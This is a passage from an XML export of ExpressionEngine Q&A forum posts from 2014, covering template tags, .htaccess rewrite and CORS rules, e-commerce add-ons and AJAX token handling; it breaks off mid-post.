  <row Id="23725" PostTypeId="2" ParentId="23723" CreationDate="2014-06-16T14:42:12.730" Score="1" Body="&lt;p&gt;If you want to know if the user seeing a page is authenticated, you can use some &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#alternative-syntax&quot; rel=&quot;nofollow&quot;&gt;global variables&lt;/a&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;logged_in_member_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;logged_in_group_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or, if you want to check for an specific member, you can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/query/index.html&quot; rel=&quot;nofollow&quot;&gt;Query module&lt;/a&gt; and look for the collumn &lt;code&gt;member_id&lt;/code&gt; on the table &lt;code&gt;exp_sessions&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to list the current logged members, use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/statistics/index.html#member-names&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;member_names&lt;/code&gt;&lt;/a&gt; variable pair of the Statistics Module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stats channel=&quot;news|sports&quot;}&#xA;    {member_names}&#xA;            {name}&amp;lt;br&amp;gt;&#xA;    {/member_names}&#xA;{/exp:stats}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-06-25T14:01:44.823" LastActivityDate="2014-06-25T14:01:44.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23727" PostTypeId="2" ParentId="23672" CreationDate="2014-06-16T18:25:01.857" Score="0" Body="&lt;p&gt;EE v2.7.3 requires a XID value be sent with every form submission and also every ajax request.  Here's how I was able to fix this and also make a solution that I can reuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XIDs are single use in EEv2.7.3.  I created a template in my site that outputs the XID number and also allows it to not be cached, which was a problem for IE.  To fix that I added a header so it doesn't cache the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template code looks like this and is set to allow PHP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php header(&quot;Cache-Control: no-cache, must-revalidate&quot;); ?&amp;gt;&#xA;&amp;lt;?php echo trim(XID_SECURE_HASH); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I needed a function to grab the HASH value and return its value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getXID(show) {&#xA;&#xA;    var myxid = null;&#xA;  var scriptUrl = &quot;/?/Site/unique-xid&quot;;&#xA;     $.ajax({&#xA;        url: scriptUrl,&#xA;        type: 'GET',&#xA;        dataType: 'text',&#xA;        async: false,&#xA;        success: function(data) {&#xA;            myxid = data;&#xA;        } &#xA;     });&#xA;     return myxid;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, with each link clicked on the map, i need to execute the function and send the HASH value along with the AJAX request that loads some XML and then plots points onto a Google Map.  That code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var params = {};&#xA;&#xA;params['XID'] = getXID(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally the params array is sent via a ajax POST to get the xml file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function downloadUrl(url, params, callback) {&#xA;    jQuery.ajax({&#xA;        url: url,&#xA;        type: 'POST',&#xA;        dataType: 'xml',&#xA;        data: params,&#xA;        success: callback&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1711" LastActivityDate="2014-06-16T18:25:01.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23728" PostTypeId="1" AcceptedAnswerId="24049" CreationDate="2014-06-16T18:25:29.470" Score="2" ViewCount="311" Body="&lt;p&gt;I've run into this problem before, and took an alternate route.&#xA;Basically, I'm using MaxCDN to deliver my images/fonts/js/css. To do this I set a global variable to point to the cname for my cdn url (i.e. &lt;a href=&quot;http://cdn.mysite.com/&quot; rel=&quot;nofollow&quot;&gt;http://cdn.mysite.com/&lt;/a&gt;). The problem is I'm getting all kinds of &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No 'Access-Control-Allow-Origin' header is present on the requested resource.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Errors? I've tried the various .htaccess methods to alleviate this, but nothing seems to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I currently have, which is just the recommended settings from MaxCDN, with the index.php removal for EE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;############################################################################################&#xA;#Section 1&#xA;RewriteEngine On&#xA;IndexIgnore *&#xA;Options +FollowSymLinks -Multiviews -Indexes&#xA;############################################################################################&#xA;# ----------------------------------------------------------------------&#xA;# CORS-enabled images (@crossorigin)&#xA;# ----------------------------------------------------------------------&#xA;# Send CORS headers if browsers request them; enabled by default for images.&#xA;# developer.mozilla.org/en/CORS_Enabled_Image&#xA;# blog.chromium.org/2011/07/using-cross-domain-images-in-webgl-and.html&#xA;# hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/&#xA;# wiki.mozilla.org/Security/Reviews/crossoriginAttribute&#xA;&amp;lt;IfModule mod_setenvif.c&amp;gt;&#xA;  &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;    # mod_headers, y u no match by Content-Type?!&#xA;    &amp;lt;FilesMatch &quot;\.(gif|png|jpe?g|svg|svgz|ico|webp)$&quot;&amp;gt;&#xA;      SetEnvIf Origin &quot;:&quot; IS_CORS&#xA;      Header set Access-Control-Allow-Origin &quot;*&quot; env=IS_CORS&#xA;    &amp;lt;/FilesMatch&amp;gt;&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# ----------------------------------------------------------------------&#xA;# Webfont access&#xA;# ----------------------------------------------------------------------&#xA;# Allow access from all domains for webfonts.&#xA;# Alternatively you could only whitelist your&#xA;# subdomains like &quot;subdomain.example.com&quot;.&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;  &amp;lt;FilesMatch &quot;\.(ttf|ttc|otf|eot|woff|font.css|css)$&quot;&amp;gt;&#xA;    Header set Access-Control-Allow-Origin &quot;*&quot;&#xA;  &amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Removes index.php from EE&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L,QSA]&#xA;# If 404s, &quot;No Input File&quot; or every URL returns the same thing&#xA;# make it /index.php?/$1 above (add the question mark)&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I'm still receiving the errors? If I change my sites &quot;site_url&quot; within the EE config to point to my CDN, and then use {site_url} it works, but this breaks other things for obvious reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing I found interesting is if I use the Minimee EE module, and set the URL to the cdn, the js and css can be served via the CDN and I don't have problems. However, the caveat here being, any images that point to the cdn within the css files also receive an error.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="159" LastEditDate="2014-06-17T10:38:42.797" LastActivityDate="2014-06-27T17:51:13.103" Title="How to get a CDN to work with ExpressionEngine" Tags="|ee2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23729" PostTypeId="1" AcceptedAnswerId="23861" CreationDate="2014-06-16T18:33:09.630" Score="0" ViewCount="32" Body="&lt;p&gt;I need to add a flat-rate summer shipping surcharge on all orders. What is the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="1593" LastActivityDate="2014-06-22T08:03:51.693" Title="Shipping surcharge on cartthrob orders" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23731" PostTypeId="1" AcceptedAnswerId="23739" CreationDate="2014-06-16T19:16:45.720" Score="2" ViewCount="90" Body="&lt;p&gt;I see an option in CE Image to add watermark to an image, but that watermark -- based on the example I saw -- is an image. Is it possible to watermark an image with plain text?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-06-17T03:27:27.683" Title="Text watermark in CE Image" Tags="|ce-image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23732" PostTypeId="2" ParentId="23697" CreationDate="2014-06-16T19:16:58.710" Score="0" Body="&lt;p&gt;@ Derek, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, that was the issue! I'll have to look into forcing the browser to not save tokens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-06-16T19:16:58.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23733" PostTypeId="1" AcceptedAnswerId="23817" CreationDate="2014-06-16T20:09:13.263" Score="4" ViewCount="133" Body="&lt;p&gt;Is there a technique with Expresso store that allows for a recourse if a user's shipping address fails the UPS address checker? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it stands now if an address fails the UPS test, there is no shipping offered because UPS cannot locate the user's address, and so the user checks out without having a shipping method chosen and a potentially undeliverable address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone built a recourse like this, and if so, what does it involve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="342" LastActivityDate="2014-06-19T21:34:13.363" Title="UPS address check failure" Tags="|expresso-store|ups-shipping|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23734" PostTypeId="1" AcceptedAnswerId="23752" CreationDate="2014-06-16T20:58:24.983" Score="3" ViewCount="97" Body="&lt;p&gt;Just attempted to install Expresso Store and I get the following warning and error and I am unable to proceed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Class 'Store\Illuminate\FakePDO' not found&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: store/autoload.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 50&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...expressionengine/third_party/store/vendor/expressodev/laravel-codeigniter-db/src/Illuminate/CodeIgniter/CodeIgniterConnectionResolver.php&#xA;  on line 24&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.8.1.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="150" LastEditDate="2014-06-17T16:18:07.100" LastActivityDate="2014-06-17T16:18:07.100" Title="Expresso Store Fatal Error: FakePDO not found" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23735" PostTypeId="2" ParentId="22036" CreationDate="2014-06-16T21:08:55.610" Score="1" Body="&lt;p&gt;This utility is not available outside the location where you are seeing it.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-06-16T21:08:55.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23736" PostTypeId="2" ParentId="23640" CreationDate="2014-06-16T21:16:05.597" Score="0" Body="&lt;p&gt;This problem turned out to be something with my Playa data not being saved. Once I had fixed that issue the entries created with Channel Form starting appearing in my templates. I guess the relationship was being lost which was causing the query to fail. Relieved to have it fixed.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-06-16T21:16:05.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23737" PostTypeId="2" ParentId="23719" CreationDate="2014-06-16T21:47:59.377" Score="3" Body="&lt;p&gt;This is a barebones example, but hopefully it gets you on the right track:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;  &amp;lt;caption&amp;gt;My Order History&amp;lt;/caption&amp;gt;&#xA;  &amp;lt;tbody&amp;gt;&#xA;  {exp:channel:entries channel=&quot;orders&quot; dynamic=&quot;no&quot; author_id=&quot;CURRENT_USER&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;{entry_date format=&quot;%Y-%m-%d %H:%i:%s&quot;}&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&#xA;      {exp:cartthrob:multi_add_to_cart_form return=&quot;cart/basket&quot;}&#xA;        {exp:cartthrob:order_items order_id=&quot;{entry_id}&quot; variable_prefix=&quot;item:&quot;}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{item:row_order}] value=&quot;{item:entry_id}&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;quantity[{item:row_order}] value=&quot;{item:quantity}&quot; /&amp;gt;&#xA;        {/exp:cartthrob:order_items}&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Repeat this order&quot; /&amp;gt;&#xA;      {/exp:cartthrob:multi_add_to_cart_form}&#xA;      &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;  {/exp:channel:entries}&#xA;  &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-06-16T21:47:59.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23738" PostTypeId="2" ParentId="20384" CreationDate="2014-06-17T01:36:24.280" Score="1" Body="&lt;p&gt;In file &lt;strong&gt;system/expressionengine/libraries/Template.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add variable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $layout_conditionals = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3239" LastActivityDate="2014-06-17T01:36:24.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23739" PostTypeId="2" ParentId="23731" CreationDate="2014-06-17T03:27:27.683" Score="3" Body="&lt;p&gt;Yes, take a look at the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#text&quot; rel=&quot;nofollow&quot;&gt;text= parameter&lt;/a&gt;. :)&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2014-06-17T03:27:27.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23741" PostTypeId="1" CreationDate="2014-06-17T08:39:38.900" Score="0" ViewCount="167" Body="&lt;p&gt;I'm trying to attach category images from the edit category function in EE. I noticed that while adding an image category images only displays the EE file manager. I'm using Assets (S3) however as the main image source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Assets support category images or is there any other way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="2986" LastActivityDate="2016-06-16T21:41:21.700" Title="Does Assets support the category image field" Tags="|assets|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23742" PostTypeId="2" ParentId="23741" CreationDate="2014-06-17T11:59:15.707" Score="0" Body="&lt;p&gt;No, it does not. You'd have to write an add-on that invoked the &lt;a href=&quot;https://docs.pixelandtonic.com/assets/developers/sheet.html&quot; rel=&quot;nofollow&quot;&gt;Assets sheet&lt;/a&gt; on the category edit screen, but it's be tricky (injecting a bunch of javascript into the page essentially).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-17T11:59:15.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23743" PostTypeId="1" AcceptedAnswerId="23791" CreationDate="2014-06-17T12:09:03.757" Score="0" ViewCount="56" Body="&lt;p&gt;I am trying to integrate PayU as payment gateway into my ExpressionEngine2 website, but battling to make the code fit and understand where I need to put what code (I wrote an extension for the gateway using the sample code I downloaded from PayU's website using sendData() and getData() functions in the gateway). How could I actually test that the payment gateway code is actually being read?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My page flow is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit Card Page -&gt; PayU Gateway -&gt; Success Page&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-18T20:33:57.607" Title="Testing Custom Payment Gateway" Tags="|ee2|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23744" PostTypeId="1" AcceptedAnswerId="23855" CreationDate="2014-06-17T12:40:01.857" Score="1" ViewCount="41" Body="&lt;p&gt;I'm envisaging an 'account manager' group, who would be able to view and edit the profiles of other member groups ONLY if they were in the same category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different organisations each have multiple employees using the site, and a manager from each organisation needs to be able to edit their employees' details. So the categories would be organisation names, which allows the creation of a User list for each manager, showing only members in their category. They click through to an edit form, which of course should also check that the member really is in their category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course we could create multiple member groups to achieve this, but there are hundreds of organisations, so that's not really an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this sound feasible? Any security flaws, for example?&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2014-11-18T06:54:30.853" Title="Would User categories be a good way to allow one user group to manage a subset of members?" Tags="|solspace|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23745" PostTypeId="1" CreationDate="2014-06-17T13:30:57.353" Score="0" ViewCount="44" Body="&lt;p&gt;I'm using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{entry_id_path='shop/add_to_cart_template'}&quot;&amp;gt;link text&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when the browser renders the page it's generating a bogus link...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/%7Bentry_id_path='shop/add_to_cart_template'%7D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know why it would be outputting that code?&lt;/p&gt;&#xA;" OwnerUserId="2776" LastActivityDate="2014-08-28T04:19:22.980" Title="entry_id_path not working" Tags="|channel-entries|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23746" PostTypeId="1" AcceptedAnswerId="23753" CreationDate="2014-06-17T14:29:03.350" Score="1" ViewCount="35" Body="&lt;p&gt;I have a product which a visitor can enter your own amount. &#xA;Now this product is several times can be ordered with a different amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.inescoffee.be/site/aankoopbon&quot; rel=&quot;nofollow&quot;&gt;http://www.inescoffee.be/site/aankoopbon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bert&lt;/p&gt;&#xA;" OwnerUserId="2061" LastActivityDate="2014-06-17T17:42:19.020" Title="Multiple checkout with the same entry_id" Tags="|expresso-store|entryid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23747" PostTypeId="1" CreationDate="2014-06-17T14:30:24.073" Score="0" ViewCount="102" Body="&lt;p&gt;i want to display pagination in blog section like following way &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;previous 1 2......7 next&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me for display pagination like above pattern&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&#xA;Dhvanit N. Dave&lt;/p&gt;&#xA;" OwnerUserId="2891" LastEditorUserId="2891" LastEditDate="2014-06-18T11:57:52.330" LastActivityDate="2014-07-18T12:22:22.623" Title="how to display pagination like &quot;previous 1 2...7 next&quot;" Tags="|pagination|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23748" PostTypeId="2" ParentId="23718" CreationDate="2014-06-17T14:56:11.273" Score="0" Body="&lt;p&gt;Simply adding a &lt;code&gt;/en/&lt;/code&gt; before &lt;code&gt;/index.php?/$1 [L]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;# Directs all EE web requests through the site index file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /en/index.php?/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-06-17T14:56:11.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23749" PostTypeId="1" AcceptedAnswerId="23802" CreationDate="2014-06-17T14:59:16.693" Score="0" ViewCount="135" Body="&lt;p&gt;Anyone knows how translate category names using this method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1723" LastEditorUserId="1723" LastEditDate="2014-06-17T15:15:31.847" LastActivityDate="2014-06-20T13:23:21.227" Title="Translate categories in custom built multi language site" Tags="|categories|multi-language|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23750" PostTypeId="1" AcceptedAnswerId="23751" CreationDate="2014-06-17T15:40:34.813" Score="1" ViewCount="56" Body="&lt;p&gt;I have added a multiple relationship field to a channel, however a few entries in the selected channels are not appearing in the relationship selection list, yet the entry is open and can be viewed in both the control panel and frontend. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2014-06-17T16:14:10.347" Title="Some missing channel entries in relationship fieldtype" Tags="|channel-entries|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23751" PostTypeId="2" ParentId="23750" CreationDate="2014-06-17T16:14:10.347" Score="2" Body="&lt;p&gt;In Admin &gt; Channel Administration &gt; Channel Fields &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/custom_fields_edit.html&quot; rel=&quot;nofollow&quot;&gt;Add/Edit&lt;/a&gt;, check your Relationship Field Options and compare against the entries you are expecting to appear.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Include in Selection&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Expired Entries?&lt;/li&gt;&#xA;&lt;li&gt;Future Entries?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Limit entries by category&lt;/li&gt;&#xA;&lt;li&gt;Authors&lt;/li&gt;&#xA;&lt;li&gt;Limit entries by status&lt;/li&gt;&#xA;&lt;li&gt;Limit entries to X returned&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-06-17T16:14:10.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23752" PostTypeId="2" ParentId="23734" CreationDate="2014-06-17T16:17:36.180" Score="4" Body="&lt;p&gt;This is a known issue running Store on some servers (where PDO is not installed), and is fixed in the upcoming version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, you can open up &lt;code&gt;third_party/store/autoload.php&lt;/code&gt;, and around line 50, change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class_alias('Store\Illuminate\FakePDO', 'PDO');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class_alias('Illuminate\CodeIgniter\FakePDO', 'PDO');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-17T16:17:36.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23753" PostTypeId="2" ParentId="23746" CreationDate="2014-06-17T17:42:19.020" Score="1" Body="&lt;p&gt;Yes you can add multiple of the same items to the same cart. If the item is exactly the same (i.e. Large Blue Shirt) they will show up under the same item:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2 - Shirt (Large, Blue) - $15/each - $30&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If they have different modifiers or a different price Store does not consider them the same item so it would show up in 2 lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 - Shirt (Large, Blue) - $15/each - $15&#xA;1 - Shirt (Large, Red)  - $17/each - $17&#xA;Total                              - $32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-17T17:42:19.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23754" PostTypeId="1" AcceptedAnswerId="24206" CreationDate="2014-06-17T17:47:37.013" Score="0" ViewCount="113" Body="&lt;p&gt;I am trying to build a form for booking rooms using DevDemon Forms. The data I need to collect has a tabular format like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Room 1 name -- Date from -- Date to -- Time from -- Time to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I implement this using the said module? &#xA;I have 5 columns so the 4 column layout widget does not work for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution would be to integrate a matrix field into forms - but I don't think this is possible.&lt;/p&gt;&#xA;" OwnerUserId="728" LastActivityDate="2014-07-05T16:00:30.720" Title="How to build a table in a form using DevDemon Forms?" Tags="|forms|devdemon|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23755" PostTypeId="1" AcceptedAnswerId="23770" CreationDate="2014-06-17T18:08:52.220" Score="1" ViewCount="272" Body="&lt;p&gt;I've successfully created a custom module that takes customer information, submits it to Elavon (a payment gateway) and saves the data to a table in the Expression Engine database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, when a user submits the form, I have some jQuery validation to make sure the data is entered correctly, then once its submitted, I perform some server side validation to ensure that everything is as correct as it can be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone submits the form, and their credit card is declined, I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;output-&amp;gt;show_message($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to output my error message from Elavon. When they click back to go to the form, all of their data is missing. In my controller, I've added the following to save the data temporarily to a session, where I destroy it once the payment has been completed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $data = array(&#xA;     &quot;full_name&quot; =&amp;gt; isset($_SESSION[&quot;full_name&quot;]) ? $_SESSION[&quot;full_name&quot;] : &quot;&quot;,&#xA;     &quot;item_description&quot; =&amp;gt; isset($_SESSION[&quot;item_description&quot;]) ? $_SESSION[&quot;item_description&quot;] : &quot;&quot;,&#xA;     &quot;amount&quot; =&amp;gt; isset($_SESSION[&quot;amount&quot;]) ? $_SESSION[&quot;amount&quot;] : &quot;&quot;,&#xA;     &quot;fname&quot; =&amp;gt; isset($_SESSION[&quot;fname&quot;]) ? $_SESSION[&quot;fname&quot;] : &quot;&quot;,&#xA;     &quot;lname&quot; =&amp;gt; isset($_SESSION[&quot;lname&quot;]) ? $_SESSION[&quot;lname&quot;] : &quot;&quot;,&#xA;     &quot;address&quot; =&amp;gt; isset($_SESSION[&quot;address&quot;]) ? $_SESSION[&quot;address&quot;] : &quot;&quot;,&#xA;     &quot;city&quot; =&amp;gt; isset($_SESSION[&quot;city&quot;]) ? $_SESSION[&quot;city&quot;] : &quot;&quot;,&#xA;     &quot;state&quot; =&amp;gt; isset($_SESSION[&quot;state&quot;]) ? $_SESSION[&quot;state&quot;] : &quot;&quot;,&#xA;     &quot;zip&quot; 